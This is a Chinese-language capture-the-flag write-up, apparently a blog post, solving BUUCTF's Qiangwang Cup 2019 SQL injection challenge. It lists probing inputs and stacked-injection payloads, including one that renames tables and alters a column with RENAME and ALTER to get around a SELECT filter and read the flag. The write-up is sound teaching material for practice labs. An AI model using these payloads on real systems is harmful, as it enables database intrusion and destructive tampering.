【BUUCTF】web之强网杯2019随便注

开始注入:
1’ : 报错
1’ #:回显正常
1’ order by 1 #: 正常(经测试列数为2–此处小白暗自窃喜)
1’ union select 1,2#: 回显 如图不管怎样就喜欢有挑战性的,傲娇
看来此方法是行不通了,但经过苦苦寻求,了解到了堆叠注入:
库:1’;show databases;#
得到数据库【BUUCTF】web之强网杯2019随便注_第1张图片
表:1’;show tables;#
得到俩个表【BUUCTF】web之强网杯2019随便注_第2张图片
列:1’;show columns from ‘表名’;# 这里注意表名为数字的要加反引号 `` 注:在网上百度发现
得到 一个带有flag的字段 和 另一个 可查询的表
flag表:【BUUCTF】web之强网杯2019随便注_第3张图片可查询表:
【BUUCTF】web之强网杯2019随便注_第4张图片到这里虽然发现flag 但是select已经被ban了所以还需要解决另一个严峻的问题:咋tm看到flag!!!
经过一顿乱翻博客(谢谢各位):带佬们有好多种方法,我学过来一个。由于rename ,alert没有被ban,而且 words表中是 id 和data 结构,带有flag的表中是只有 flag。根据这种情况,我们将words表 rename 为 words1表,把daiyouflag的表改为words可查询,这样我们就能看见flag了。除此之外,我们还需将flag改为id字段,表的结构一致才能查询出来
payload:1';rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);#
然后给你们放个图 你们就明白了:
【BUUCTF】web之强网杯2019随便注_第5张图片是我太菜了?师傅们的payload不管用了呢?
so 方法二:(更高级的)
我还得研究研究,你们先看 谢谢

你可能感兴趣的:(ctf,数据库,安全,sql)